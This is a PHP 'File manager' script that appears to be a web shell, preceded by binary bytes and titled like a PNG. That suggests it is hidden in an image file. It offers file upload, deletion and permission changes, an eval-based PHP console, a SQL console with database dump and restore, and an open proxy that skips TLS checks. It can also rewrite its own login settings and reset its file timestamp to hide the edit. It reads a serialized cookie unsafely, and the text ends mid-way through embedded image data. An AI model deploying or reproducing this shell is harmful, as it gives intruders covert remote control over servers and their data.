¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw